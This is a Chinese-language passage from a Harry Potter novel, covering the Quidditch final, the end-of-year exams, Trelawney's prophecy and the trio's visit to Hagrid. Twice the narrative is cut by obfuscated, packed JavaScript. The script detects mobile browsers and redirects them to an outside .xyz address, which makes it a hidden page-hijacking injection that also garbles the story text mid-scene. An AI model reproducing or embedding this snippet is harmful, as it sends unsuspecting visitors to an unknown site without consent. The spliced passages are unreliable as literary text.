哈利冲到床头柜边上,抓起眼镜戴上,再奔回窗前。不可能是不祥...别在现在...别正好在比赛以前...他又向窗外操场上看去,狂乱地搜索了一分钟以后,找到了。现在它正在禁林边缘潜行...根本不是那不祥...是只猫...哈利抓住窗台松了口气,他认出了那瓶刷似的尾巴,那只不过是克鲁克山...难道只是克鲁克山吗?哈利眯着眼看,鼻子紧贴在窗玻璃上。克鲁克山好像停下来了。哈利肯定他看到树影里还有别的东西。过了一会儿,它出现了:一条巨大粗野的黑狗,偷偷地在草坪上穿行,克鲁克山在它旁边小步快走。哈利瞪大了眼睛。这是什么意思?如果克鲁克山也能够看见那条狗,那它怎么就是哈利死亡的预兆呢? “罗恩!”哈利低声叫道,“罗恩!醒醒!” “唔?” “帮帮忙,来告诉我你是不是看见了什么东西!” “外面那么黑,哈利,”罗恩含糊地咕哝道,“你在干什么?” “到这里来——” 哈利急忙回头向窗外看去。 克鲁克山和狗都不见了。哈利爬到窗台上一直看到城堡的阴影里,但是它们不在那里。它们哪里去了? 响亮的鼾声告诉哈利:罗恩又睡着了。 第二天,哈利和格兰芬多队的其余队员进入礼堂时,礼堂里响起了热烈的掌声。哈利看到拉文克劳和赫奇帕奇桌子上的人也在为他们鼓掌。忍不住开心地笑了。他们走过斯莱特林院的桌子时,坐在桌旁的人大声嘘叫。哈利注意到马尔福脸色比平时还要苍白。 伍德在早餐时一直敦促队员多吃,自己却一口没动。然后在其他人谁也没吃完以前就把队员都轰到球场上去了,以便让队员熟悉场地情况。队员们离开礼堂的时候,大家又为他们鼓掌。 “祝你走运,哈利!”秋·张叫道。哈利觉得自己脸红了。“好...小风,不值一提...太阳亮了一点,这有助于你的视力,小心阳光太强...地面相当硬,好的,我们可以快快地开球...” 伍德在球场上一步步走着,环顾四周,球队跟在他后面。最后他看到城堡的大门开了,其他学生也到草坪上来了。 “更衣室。”伍德简洁地说。 球员们换上猩红色袍子的时候,谁都没有说话。哈利纳闷别人是不是也和他的感觉一样:好像早饭时吃了什么扭动得很厉害的东西,好像伍德马上就要告诉他们:“好,时问到了,走吧...” 他们走出更衣室来到球场,场上一片嘈杂声。四分之三的人群佩戴者猩红色的玫瑰花,摇着上面有格兰芬多狮子的猩红色旗子,要不然就是挥动着写有“格兰芬多成功!”和“狮子得奖杯!”等标语的小旗。然而,斯莱特林队的球门后面有二百人佩戴着绿色饰物,斯莱特林的银蛇在他们的旗子上闪闪发光。斯内普教授坐在最前排,像其他人一样佩戴着绿色饰物,脸上的笑容阴森森。 “格兰芬多队来了!”李·乔丹大叫道,他和平时一样充当评论员。“波特、贝尔、约翰逊、斯内平特、韦斯莱兄弟和伍德。人们公认这是好几年来霍格沃茨最好的球队——” 李的评论淹没在斯莱特林那边发出的一阵嘘声之中。 “斯莱特林队来了,由队长弗林特领着。他已经在队形上作了些变化,似乎要以身材而不是技术取胜——” 斯莱特林那边嘘声更大了。然而,啥利认为李说得有理。马尔福在斯莱特林队只能算是个子最小的,其余队员个个人高马大。 “队长们,握手!”霍琦夫人说。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488711|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 弗林特和伍德走向对方,彼此用力握住对方的手,好像都想捏断对方的手指似的。 “上飞天扫帚!”霍琦夫人说, “三—— 二——一——” 十四把扫帚腾空而起,霍琦的哨声淹没在人群的吼声之中。哈利觉得他的头发从前额飘向脑后,在飞行的快感中他的紧张感消失了,他向四周看去,看见马尔福骑在飞天扫帚上,加快飞行去寻找金色飞贼。 “现在鬼飞球在格兰芬多这边,格兰芬多队的艾丽娅·斯平内特带球直冲斯莱特林的球门,看上去不错,艾丽娅!啊,不——鬼飞球被沃林顿截走了,斯莱特林队的沃林顿在球场上迅速前进——哇!一记漂亮的游走球,这是乔治·韦斯莱干的,沃林顿丢了鬼飞球,被——约翰逊拿到了,鬼飞球又在格兰芬多这边了,快啊,安吉利娜——在蒙塔古身旁漂亮地一转弯——下冲,安吉利娜,游走球成功啦——她得分了!十比零格兰芬多队领先!” 安吉利娜绕着球场一端飞行,拳头在空中挥舞;下面的猩红色海洋兴高采烈地尖叫着。 “哎哟!” 马库斯·弗林特向安吉利娜冲来,安吉利娜差点儿被撞下了扫帚。 “抱歉!”弗林特说,下面的人群嘘声大作。“抱歉,没看见她!” 过了一会儿,弗雷德·韦斯莱用他的球棒轻轻打了弗林特的后脑勺一下。弗林特的鼻子撞到飞天扫帚上,开始流血。 “行啦!”霍琦夫人尖叫着,陡直上升到他们之间。“格兰芬多队员无端攻击追球手罚分!斯莱特林队有意伤害追球手罚分!” “别这样,夫人!”弗雷德吼道,但霍琦夫人吹了哨子,艾丽娅飞到前面接受处罚。 “好好干,艾丽娅!”李在人群的一片沉默之中大叫起来。“对!她越过了守门员!二十比零,格兰芬多队领先!” 哈利使火弩箭急剧转向,看着在流鼻血的弗林特飞到前面接受对斯莱特林队的处罚。伍德在格兰芬多队球门前面盘旋,紧咬牙关。 “当然,伍德是极好的守门员!”李·乔丹告诉人群,这时弗林特正等着霍琦夫人吹哨子。“太棒了!很难越过去的——对!真是难以置信!他把鬼飞球救下来了!” 哈利松了一口气,跃升上去,四处寻找着金色飞贼,但仍然注意听着李乔丹的每一句评论。他必须不让马尔福接近金色飞贼,一直等到格兰芬多队获得了五十多分以后... “鬼飞球在格兰芬多这边,不,在斯莱特林这边——不!——球又在格兰芬多这边,这个队的凯蒂·贝尔,格兰芬多的凯蒂·贝尔拿到了鬼飞球,她在球场上疾驰——那是故意的!” 斯莱特林的追球手蒙塔古已经转到凯蒂前面,没有去抓鬼飞球,反而去抓凯蒂的脑袋。凯蒂在空中横翻跟斗,仍牢牢骑在扫帚上,但是球掉下了。霍琦夫人的哨子又响了,她上升到蒙塔古那里,开始对他大叫大喊。一分钟以后,凯蒂越过斯莱特林的守门员,又让他们吃了罚分。“三十比零!忍受吧,你们这些肮脏、骗人——” “乔丹,要是你不能公正地评论——!” “我正是公正评论的,教授!” 哈利感到一阵巨大的兴奋。他看到金色飞贼了——它在格兰芬多的一根球门柱附近闪烁——但他现在一定不能去拿。如果马尔福看见了...哈利装出突然精神集中的样子,调转火弩箭的头向着斯莱特林那边迅速飞去。这条计策奏效了。马尔福在他后面紧追,显然认为哈利在那里看见了金色飞贼...猛冲。 一个游走球在哈利右耳旁边疾驰而过,是由斯莱特林队身材高大的击球手德里克打中的。然后——猛冲。另一个游走球擦过哈利肘部。另外一名击球手博尔正在逼近。哈利在短暂一瞥之间看到德里克和博尔正向着他急速上升,都举起了棒子...他在最后一秒钟驾着火弩箭上升.博尔和德里克狠狠地撞在了一起。 “哈哈!”李·乔丹大叫,这时斯莱特林的这两个队员各自抱着脑袋分开了。“太糟了。孩子们!要想打败火弩箭.你们要起得更早些才是!现在鬼飞球叉在格兰芬多队那边,约翰逊在拿球——弗林特在她旁边——戳他眼睛,安吉利娜!——开玩笑,教授,这是开玩笑——哦,不——弗林特拿着球了,弗林特对着格兰芬多的球门飞过去,来吧,喂,伍德,救球——!” 但弗林特得分了,斯莱特林那边爆发出一阵欢呼。李·乔丹狠狠地骂了起来,麦格教授想把乔丹手里的话筒夺下来。 “对不起,教授,对不起!再不会这样了!这样,格兰芬多队领先,三十比十,球在格兰芬多队那里...” 这场球赛变成了哈利所曾经历过的最肮脏的球赛。斯莱特林队因为格兰芬多队这么早就领先而大为愤怒。赶快不择手段地抢球。博尔用棒子打了艾丽娅.还想说他以为她是游走球。乔治·韦斯莱用肘部撞了博尔的脸作为报复。霍琦夫人给两队都罚了分。伍德又一次救球成功,于是比分达到四十比十,格兰芬多队领先。 金色飞贼又不见了。哈利升到高处,四处寻找金色飞贼,马尔福仍旧紧跟在后...一旦格兰芬多队领先五十分...凯蒂得分,五十比十。弗雷德和乔治·韦斯莱在她周围转着,举起了棒子,以防斯莱特林队里的任何人报复。博尔和德里克利用弗雷德和乔治不在的机会双双把大棒对准伍德;他们相继打中了伍德的胃部,伍德抓住扫帚在空中翻滚,人完全弯曲起来。 霍琦夫人气得发狂。 “除非鬼飞球在得分区,你们是不能攻击守门员的!”她对博尔和德里克尖声叫道,“格兰芬多主罚球!” 安吉利娜得分了,六十比十。不一会儿,弗雷德·韦斯莱把游走球向沃林顿击去,把他手里的鬼飞球打落了,艾丽娅抓住球,把球送到了斯莱特林的球门里:七十比十。 下面格兰芬多的观众尖叫得嗓子都哑了——格兰芬多领先六十分,如果哈利现在抓到金色飞贼,奖杯就是格兰芬多的了。哈利几乎能感到几百双眼睛跟着他在球场上空飞转,他现在飞得比谁都高,马尔福加速跟在他后面。 然后他看见了,金色飞贼就在他上方二十英尺的地方闪光。哈利大大加速,风在他耳边呼啸,他伸出手去,但是,火弩箭突然减速了...他吓了一大跳,四面张望。马尔福扑身向前,抓住火弩箭的尾部,把它向后拉。 “你——” 哈利气得想打马尔福,但够不着他。马尔福因为用力抓住火弩箭喘息着,但眼睛里闪着恶意的光芒。他如愿了——那金色飞贼又不见了。 “罚球!格兰芬多队主罚球!我从来没见过这种战术!”霍琦夫人尖叫着向上直飞奔向马尔福,马尔福正滑回他的光轮2001。 “你这个骗人的下贱东西!”李·乔丹对着话筒狂叫,一面跳到麦格教授够不着他的地方。“你这个肮脏的、骗人的杂——” 麦格教授甚至没有费神去阻止他。她向着马尔福的方向挥舞着拳头,她的帽子掉了,她也在狂怒地大叫。 艾丽娅为格兰芬多主罚球,但是她太愤怒了,球发到离球门好几英尺的地方。格兰芬多队分了心,斯莱特林队由于马尔福对哈利施的阴谋诡计而高兴。全队受到鼓舞,飞得更高了。“斯莱特林队得到鬼飞球了,斯莱特林队进攻——蒙塔古得分——”李呻吟道,“七十比二十格兰芬多领先...” 现在哈利盯马尔福盯得很紧,两人的膝盖时常相碰。哈利不让马尔福从任何方向接近金色飞贼... “让开,波特!”马尔福无可奈何地大叫,因为他想拐弯。却发现哈利挡住了他的去路。 “安吉利娜·约翰逊为格兰芬多队得到了球,加油,安吉利娜,加油!”哈利向四面一看。除了马尔福以外,斯莱特林队每一个队员。甚至包括守门员在内,都在加速冲向安吉利娜——他们都想堵住她...哈利调转火弩箭,身子弯得很低,低得身子平俯在飞天扫帚上,他用脚踢扫帚前进。他像颗子弹一样冲向斯莱特林队。“哎哎哎——呀!” 火弩箭向着他们急速上升,他们散开了,安吉利娜前方的道路扫清了。 “她得分了!她得分了!格兰芬多队八十比二十领先!”哈利刚才差点儿撞到看台上,在半空中滑行着停下来,调转头来又陡直上升,回到球场中央。然后他看到了让他心脏停止跳动的东西了。马尔福在下冲,脸上露出胜利的神色——离草坪几英尺高的地方,有一个小小的金色闪光点。哈利催动火弩箭向下,但是马尔福比他超前很多。 “快!快!快!”哈利催促火弩箭。他渐渐赶上了马尔福...博尔向他击来游走球,哈利伏在飞天扫帚上躲过了...他已经到了马尔福脚踝旁边了...和他平行了...哈利全身向前扑去,两手都离开了飞天扫帚。他击开马尔福的胳膊,然而—— “没错!” 他停止了下冲,手高举着,看台爆炸了。哈利飞在人群上方,耳朵里有一种奇特的响声。他紧握那只金色小球,那小球无望地在他手指缝里拍动着双翼。 然后伍德向他疾驶过来,泪水让他几乎看不见东西了。他抓住哈利的脖子,伏在他肩上肆无忌惮地抽泣起来。弗雷德和乔治撞上哈利,哈利觉得有两大块东西直压过来,然后是安吉利娜、艾丽娅和凯蒂的声音:“我们赢得奖杯了!我们赢得奖杯了!”格兰芬多队员相互搂抱在一起下降,叫得嗓子都哑了,就这样回到了地面。 支持他们的猩红色人群一浪又一浪地冲过拦板来到球场。无数只手雨点一样落在他们背上。哈利觉得噪音和人的躯体纷至沓来地包围了他。然后他和球队其他成员被人群举到了肩头上。他看到海格挥舞着猩红色的花环—— “你打败他们了,哈利,你打败他们了!等着,我要告诉巴克比克的!” 珀西也在那里,跳上跳下像疯子一样。所有的尊严都忘记了。麦格教授比伍德哭得还厉害,用一面巨大的格兰芬多旗帜擦着眼泪。 拼命往他面前挤的是罗恩和赫敏。他们激动得说不出话来,只是满脸笑容。这时哈利向看台走去,邓布利多站在那里等待着,手里是那个巨大的魁地奇奖杯。 要是刚才有摄魂怪的话...哈利接过伍德抽泣着递给他的奖杯,把奖杯高高举起,觉得自己仿佛能够发出世界上最棒的守护神。 54.特里劳妮教授的预言 赢得魁地奇奖杯使哈利心情欣快,这种心情至少持续了一星期。就连天气似乎也来庆祝胜利了:随着六月的到来,白天变得闷热而晴朗无云,大家都只想到户外散步,带着几品脱冰镇南瓜汁到草地上猛然躺下,也许随意玩上一场高布石游戏,或是看着巨大的鱿鱼在湖面上梦一般地前进。 但是他们不能这样做。考试临近了,学生们非但不能在户外懒洋洋地打发时光,而且还不得不留在城堡里,忍受着从窗外吹来的夏日熏风的诱惑,迫使自己的大脑努力工作。就连弗雷德和乔治也在用功,他们即将参加0.W.Ls(普通巫师等级)考试。珀西正在准备通过N.E.W.Ts(高级巫师考试),这是霍格沃茨所能提供的最高学历。珀西希望进入魔法部工作,因此他必须具备最高学历。他越来越急躁易怒,晚上谁破坏了公共休息室的宁静,他就给谁以严厉处罚。实际上,唯一比珀西还要焦急的人是赫敏。 哈利和罗恩已经不再问她怎么能够同时上好几门课了,但是,他们看到她为自己拟定的考试时间表的时候,还是忍不住。这张表的第一栏写道:星期一,算术占卜九点钟,变形课九点钟,午饭,魔咒课一点钟,古代魔文课一点钟。 “赫敏?”罗恩小心地问道,因为这些日子里她一受打扰就容易暴怒。“哦——你肯定没把这些时间抄错吗?” “什么?”赫敏厉声说,拿起那张时间表来仔细察看。“对的,我当然没抄错。” “你怎么能够同时坐在两个考场里,这样问一下不算没意义吧?”哈利说。 “不算,”赫敏简短地说,“你们两人谁看见我的《数字学和语法学》了?” “哦,对,我借了去,躺在床上的时候稍微看看。”罗恩说,但是说得很平静。赫敏开始在她的桌子上搬动一堆堆的羊皮纸,找那本书。就在这时,窗子处一阵响动,海德薇叼着一张便条飞了进来。 “是从海格那里来的。”哈利说,把那张便条展开,“巴克比克的上诉定在六号那天。” “那正是我们考试结束的日子。”赫敏说,仍旧在到处找她的算术占卜书。 “他们到这里来听取上诉,”哈利说,仍旧在读那便条,“是魔法部的什么人和——一名行刑手。” 赫敏抬起头来,惊慌不已。 “他们带行刑手来听取上诉!听起来好像他们已经决定了呀!” “对,是这样的。”哈利慢慢地说。 “他们不能这样!”罗恩咆哮道,“我花了那么多时间为他阅读材料,他们不能全部不放在眼里!” 但是哈利有一种可怕的感觉,那就是马尔福先生已经替处置危险生物委员会下了决心。 马尔福自从格兰芬多在魁地奇决赛中胜出以来,明显地收敛了不少,但最近几天,他往日的狂妄自大又恢复了几分。 从哈利偷听到的嘲笑性评论来看,马尔福肯定巴克比克是死定了,而且似乎因为是自己促成的,而高兴得不得了。 哈利所能做到的,只是不去模仿赫敏在这种场合打马尔福的耳光而已。这件事最糟糕的地方在于他们既没有时间也没有机会去看海格,因为新的严格的保安纪律还没有撤消,哈利又不敢从独眼女巫雕像下面取回他的隐形衣。 考试周开始了,城堡里一片不寻常的静寂。三年级学生星期一午饭时从变形课堂出来,个个灰头土脸,走路也没了精神,大家互相比较成绩并且慨叹给他们的任务太难,这些任务包括把茶壶变成乌龟。赫敏大惊小怪地说,她变出来的乌龟倒像甲鱼,而别人对这一点已很满足了,因此她的牢骚让人恼火。 “我变的乌龟尾巴仍旧是茶壶嘴,这可要命...” “人们是不是以为乌龟呼吸水蒸气?” “我的乌龟仍旧有柳叶花纹的硬壳,你说这会给我扣分吗?” 然后,大家急急忙忙吃过午饭,直接回到楼上参加魔咒课的考试。赫敏上次说得对,弗立维教授的确考他们快乐咒了。 哈利在消除紧张不安方面做得稍有些过头,而作为他搭档的罗恩最后一阵阵歇斯底里地大笑,人们只得把他领到安静的房间待了一个小时,等到他自己能念快乐咒时为止。 晚饭以后,学生们赶回公共休息室,不是为了放松,而是开始复习保护神奇生物、魔药和天文学。 第二天早晨,海格主持保护神奇生物考试,但一副心事重重的样子,心思似乎根本不在考试上。他给全班学生拿了一大桶新鲜的弗洛伯毛虫,告诉大家说,要想通过考试,他们的弗洛伯毛虫必须在一小时以后仍然活着。要是对弗洛伯毛虫放任不管,它们就繁殖得极快,因此这是他们所经历过的最容易的考试,这也给哈利、罗恩和赫敏提供了许多机会,以便和海格谈话。 “比克有一点儿沮丧,”海格告诉他们说,假装查看哈利的毛虫是不是还活着,身体弯得很低,“禁闭得太久了。但仍旧...后天我们就知道了——胜还是败。” 那天下午他们考魔药,那绝对是一场灾难。哈利虽然尽了最大努力,他的迷惑药剂仍然太浓,斯内普站在一旁看着,一副幸灾乐祸的样子。在离开前他在哈利本子上写下几个字,看上去很像是一个零字。 午夜时刻考天文学,大家都到最高的楼上去了。魔术史是星期三上午考的,哈利一面在试卷上写下弗洛林曾经告诉他的、有关中世纪追捕女巫的所有情况,一面希望在这间闷人的教室里,能够有一份弗洛林的巧克力坚果圣代冰淇淋。星期三下午考草药,那就得在灼热的阳光下待在暖房里。回到公共休息室时,大家的后脖子都给太阳晒伤了,心里都巴望着快到第二天,那时考试就都结束了。星期四上午考黑魔法防御术,这是他们的倒数第二门考试。 卢平教授拟定的考试是他们谁都没有考过的,是最不同寻常的:那是在户外,在阳光下的一种类似障碍赛的考试,学生们必须涉水走过一处有格林迪洛的池塘,穿行一系列满是红帽子的坑洼,咯吱咯吱地走过一片沼泽地,不去理会一头欣克庞克发出的错误的指示,然后还要爬进一个旧箱子里,与一个新的博格特打斗。 “棒极了,哈利,”卢平咕哝道,这时哈利笑着从箱子里爬出来,“满分。” 哈利高兴得脸通红,留在那儿没走,等着看罗恩和赫敏的成绩。罗恩在遇到欣克庞克以前一直很棒,但是欣克庞克的错误指导让他陷进了齐腰深的泥泞之中。赫敏在到达有博格特的箱子以前无懈可击。在箱子里待了大约一分钟之后,她又尖叫着冲了出来。 “赫敏!”卢平说,吓了一跳,“怎么啦?” “麦——麦格教授!”赫敏喘着气说,指着箱子,“她——她说我全部考试都不及格!” 让赫敏镇静下来花了一点儿时间。最后她又能控制自己了,她、哈利和罗恩回到了城堡。罗恩仍旧有点儿想取笑赫敏的博格特,但在楼梯尽头看到的景象,让他们避免了一场争论。 康奈利·福吉身穿他那件细条纹斗篷,稍稍有点儿出汗,正在那里瞪眼看着外面的场地。看见哈利,他也瞪着眼睛。 “哈利,你好!”他说,“刚考完,是不是?快考完了吧?” “是的。”哈利说。赫敏和罗恩没有和魔法部长说过话,只能尴尬地在后面走来走去。 “天气真好,”福吉说,目光落在湖面上,“可惜...可惜...” 他深深叹着气,目光向下看着哈利。 “我到这里来执行令人不快的使命,哈利。处置危险生物委员会要求,在处死一头发了疯的鹰头马身有翼兽时,要有一名证人在场。正好我为了布莱克的事需要拜访霍格沃茨,他们就请我参加了。” “这就是说已经听取过上诉了?”罗恩走向前插嘴道。 “不,不,上诉定在今天下午。”福吉说,好奇地看着罗恩。 “那您有可能做不成死刑执行的见证人!”罗恩勇敢地说,“那头鹰头马身有翼兽也许没事!” 福吉还没来得及回答,两名男巫从他身后的城堡大门里走了出来。一名已经很老了,好像就在他们眼前一点点儿枯萎下去。另外一名身材高大匀称,有稀疏的唇髭。 哈利猜想他们是处置危险生物委员会的代表,因为那很老的男巫眯着眼看海格的小屋,还用软弱的声音说:“哎哟,哎哟,我太老了。不能做这样的事了...两点钟。是不是,福吉?” 有黑唇髭的男子在他的皮带里用手指触摸着什么东西:哈利看了一下,发现他在用大拇指抚摸着一把发亮的斧头的刃。 罗恩张嘴要说什么,但是赫敏用力戳他的肋骨.还把他的脑袋扭到前厅那个方向。 “你为什么不让我说话?”罗恩恼怒地问,这时他们进了餐厅准备吃饭。“你没看见他们吗?他们连斧头都准备好了!这不公平!” “罗恩,你爸在魔法部工作。你可不能对他的上司说这种话!”赫敏说。但是她也显得很沮丧。“这次只要海格头脑清醒,为这个案子说话恰当,他们就不会杀掉巴克比克...” 但是哈利能够看出赫敏并不真正相信自己的话。在他们周围,人们吃午饭时都在兴奋地谈论着,快乐地预测当天下午的考试结果,但是哈利、罗恩和赫敏一味担心着海格和巴克比克,没有参加这样的谈论。 哈利和罗恩的最后一场考试是占卜,赫敏的是麻瓜研究。他们一起走上大理石楼梯。赫敏在二楼和他们分手了,哈利和罗恩一直走到八楼,许多同学坐在通往特里劳妮教授教室的螺旋形楼梯上,希望在最后时刻还能强记硬背一些东西。 “她要分别见我们。”纳威告诉他们,因为他们过来后就坐在他旁边。他膝上放着一本《拨开迷雾看未来》,翻开到水晶球那一章。“你们两人有谁在水晶球里看到过什么东西吗?”他怏快不乐地问。 “没有。”罗恩说,声音是不在意的。他一直在看表,哈利知道他在倒计时,计算巴克比克案上诉开始的时刻。 教室外面的队伍缩短得很慢。一有人从那道银色楼梯上走下来,班上其余人就都悄声问道:“她问什么啦?通过了吗?” 但是他们都拒绝回答。 “她说水晶球告诉她,如果我告诉了你们,我就会遇到可怕的事情!”纳威尖声说,这时他正从楼梯上下来走向哈利和罗恩,这两人现在已经到达搂梯平台了。 “这就对了,”罗恩轻蔑地说,“你知道,我现在开始认为赫敏说她说对了(他把大拇指对着头上的活板门一翘),她是个老骗子。” “对。”哈利说,看着他自己的表。现在已经两点钟了。“希望她快一点儿...” 帕瓦蒂走下楼梯,满脸得意。 “她说我具备成为真正预见者的全部要素,”她告诉哈利和罗恩,“我看见了许多东西...好吧,祝你们好运!” 她忙忙地走下螺旋形楼梯找拉文德去了。 “罗恩·韦斯莱。”他们头顶上那熟悉的模糊声音说。罗恩对哈利做了个鬼脸,爬上银色楼梯不见了。现在哈利是唯一在等待考试的人了。他坐在地板上。背靠着墙,听着一只苍蝇在有阳光的玻璃窗上嗡嗡着,心思已经飞越场地,到海格那里去了。 最后,大约二十分钟以后,罗恩的大脚又在楼梯上出现了。 “考得怎么样?”哈利问他,自己则站了起来。 “乱七八糟,”罗恩说,“什么也看不见,所以我就编造起来。我想她没相信,不过...” “在公共休息室碰头。”哈利低声道,这时特里劳妮教授的声音叫道:“哈利·波特!” 这间塔楼房间比以前任何时候都要热。窗帘拉拢着,壁炉里烧着火,通常的那种令人恶心的气味弄得哈利咳嗽起来,这时他正从若干桌椅之间寻路走向特里劳妮教授。她坐在那里等他,面前放着一个硕大的水晶球。 “你好,亲爱的,”她温柔地说,“你看看这水晶球..现在给你计时...然后告诉我在里面看到了什么...” 哈利俯身向这水晶球看去,尽量努力看,但愿它能让他看到除了旋转的白雾之外还有些什么,但什么也看不见。 “唔?”特里劳妮教授准时体贴地发问,“你看见什么了?” 房间里热浪灼人,哈利的鼻孔由于火里一阵阵飘出的带香味的烟而感到刺痛。他想起罗恩刚才说的话,决定假装一下。 “哦——”哈利说,“一块黑色的东西——唔——” “那东西像什么形状?”特里劳妮教授低声问道。“现在,想一想...” 哈利就想了起来,一下就想到了巴克比克。 “是头鹰头马身有翼兽。”他坚决地说。 “是吗?”特里劳妮教授低语,在放在她膝上的羊皮纸上迅速写下一些什么。“我的孩子,你可能正在看到可怜的海格和魔法部之间的麻烦所产生的后果!看仔细些..这头鹰头马身有翼兽好像...有脑袋吗?” “有的。”哈利坚定地说。 “你能肯定吗?”特里劳妮教授敦促他。“你很肯定吗。亲爱的?你是不是看到它在地上挣扎,还有一个阴影在它后边举起了斧头?” “没有!”哈利说,开始感到有些作呕。 “没有血?没有哭泣的海格?” “没有!”哈利又说,比什么时候都想离开这间教室和这里的闷热。“它看上去很好,它——飞走了...” 特里劳妮教授叹了一口气:“好吧,亲爱的,我想我们就到这里吧..有点儿令人失望...不过我肯定你已经尽力而为了。” 哈利松了一口气,站起来,拿起书包转身要走,但这时一个响亮、嘶哑的声音在他背后说起话来—— “这事今晚就要发生。” 哈利飞快地回过身来。特里劳妮教授僵在扶手椅里,目光散漫,下巴下垂。 “对——对不起?”哈利说。 但是特里劳妮教授似乎没听见,眼睛开始转动起来。 哈利惊慌地站在那里。她看上去好像什么病发作了似的。哈利踌躇了,想要不要跑到校医院去...这时特里劳妮教授又说话了,仍旧是那种嘶哑的声音,和她自己的很不相像。 “黑魔头一个人躺着,没有朋友,被同伴遗弃。这十二年来他的仆人一直遭到锁禁。今晚,午夜以前,这仆人将挣脱锁链,开始寻找他的主子。黑魔头将在仆人帮助下重新崛起,比以前任何时候都要强大可怕。今晚——午夜以前——那仆人——将开始——重新找到——他的主子——” 特里劳妮教授的脑袋垂到胸前。她哼了一声。然后,很突然地,她的脑袋啪的一下又抬了起来。 “抱歉,亲爱的孩子,”她像在梦中似的说,“白天太热,你知道——我睡着了一会儿...” 哈利仍旧站在当地,瞠目不语。 “有什么不对头的地方吗,亲爱的?” “您——您刚才告诉我说那——黑魔头要重新崛起了——说他的仆人要回到他身边了——” 特里劳妮教授似乎彻底惊慌起来。 “黑魔头?就是那连名字都不能提的人?我亲爱的孩子,这可不是什么能开玩笑的事——重新崛起,当真...” “但是你刚才说了呀!你说黑魔头...” “我想你一定也睡着了一会儿,亲爱的!”特里劳妮教授说,“我肯定不会预言这么遥远的事情!” 哈利爬下楼梯,心里想着..他刚才莫非听到特里劳妮教授作了一番真正的预言?要不然她这样做就是为了给考试来一个令人印象深刻的结束? 五分钟以后,他从侏儒保安面前冲过去,到了格兰芬多塔楼入口处的外面,特里劳妮教授的话仍然在他耳边回响。人们在他面前大步走过,走的是与他相反的方向,一路又说又笑,往屋外走,走向向往已久的那一点儿自由。等到他走到肖像画的洞那里并且走进公共休息室的时候,那里几乎没有人了。然而,角落里坐着罗恩和赫敏。 “特里劳妮教授,”哈利喘着气说,“刚才告诉我...” 但是他看到他们的脸就呆住了。 “巴克比克败诉了,”罗恩没精打采地说,“海格刚把这个送来。” 海格的便条这次是干的,上面没有洒上泪水,但是他的手可能抖得厉害,所以这张字条很难认。 败诉了。 太阳落山的时候执行死刑。你们什么也帮不了了。 不要来。 我不要你们看见行刑。 海格 “我们一定要去,”哈利马上说,“不能让他自己坐在那儿等着行刑手!” “但是,太阳落山,”罗恩说,他眼睛瞪着窗外,“怎么也不会同意我们出去的...特别是你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504148|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,哈利...” 哈利双手捧着脑袋思索着。“要是我们有那件隐形衣...” “隐形衣在哪里?”赫敏问。 哈利告诉她上次把隐形衣留在独眼女巫雕像下面的通道里了。 “...要是斯内普再在那附近看见我,我的麻烦可就大了。”他最后这样说。 “说得对。”赫敏表示同意,一面站起来,“如果他看见你...你怎么能打开女巫的驼背?” “你...轻轻敲它一下说:‘左右分离’”哈利说,“但是...” 赫敏不等他说完;她大步走过房间,推开胖夫人的肖像,就此消失了。 “她不会是去取隐形衣吧?”罗恩说,瞪着她离去的方向。赫敏是去了。十五分钟以后,她回来了,隐形衣小心地折好藏在她袍子下面。 “赫敏,我不知道你最近是怎么了!”罗恩惊讶地说,“你先是打了马尔福,然后你在特里劳妮教授的课堂上走出去...”赫敏看上去很爱听他这样说。 他们和其他人一起下去吃晚饭,但晚饭后没有回到格兰芬多塔楼。哈利把隐形衣藏在袍子的前襟下面;他必须一直交叉双臂,以便隐藏袍子下面隆起的那一块。他们偷偷摸摸地走到前厅附近一间空房间里,侧耳聆听了一会儿,直到他们附近的确没有人为止。他们听见最后两个人急急忙忙穿过礼堂离开了,还听到一扇门关上了,赫敏把脑袋伸到门外去看。 “没事,”她低声说,“那里没有人——穿上隐形衣——” 三个人挤在一起走着,以免让人发现。他们在隐形衣下面踮着脚穿过礼堂,然后走下大门前的石阶。来到门外。太阳已经落到禁林后面去了,余辉正照在树梢上。 他们走到海格的小屋前,敲了敲门。他过了一分钟才来开门,等他把门打开后,四处找不到来访的客人,他不觉脸色苍白,发起抖来。 “是我们,”哈利低声说,“我们穿着隐形衣呢。让我们进去,我们就可以脱掉隐形衣了。” “你们不该来!”海格低声说道,但他退后一步,他们就走了进去。海格迅速关上门,哈利拉掉了隐形衣。 海格没有哭,也没有扑到他们身上搂住他们的脖子。他看上去像是个不知道自己身在何地、也不知道自己该做什么的人。看见这种无助的情况要比看见流泪更糟。 “喝茶吗?”他说,伸手去拿茶壶,一双大手直发抖。 “巴克比克呢,海格?”赫敏迟疑地问道。 “我...我刚才把它带到外面去了。”海格说,在把牛奶倒到罐子里的时候溅得满桌子都是。“用绳子系在我的南瓜地里。想它应该看看树木和...呼吸呼吸新鲜空气——在它...” 海格的手抖得那样厉害,牛奶罐从他手里掉到了地上,碎成一片片的。 “我来,海格。”赫敏赶快说,忙着走过去收抬残局。 “碗柜里还有一个罐子。”海格说着坐了下来,用袖子擦前额。哈利看看罗恩,罗恩无可奈何地也看看哈利。 “有谁能想出什么办法吗,海格?”哈利狂怒地问道,坐在他旁边。“邓布利多——” 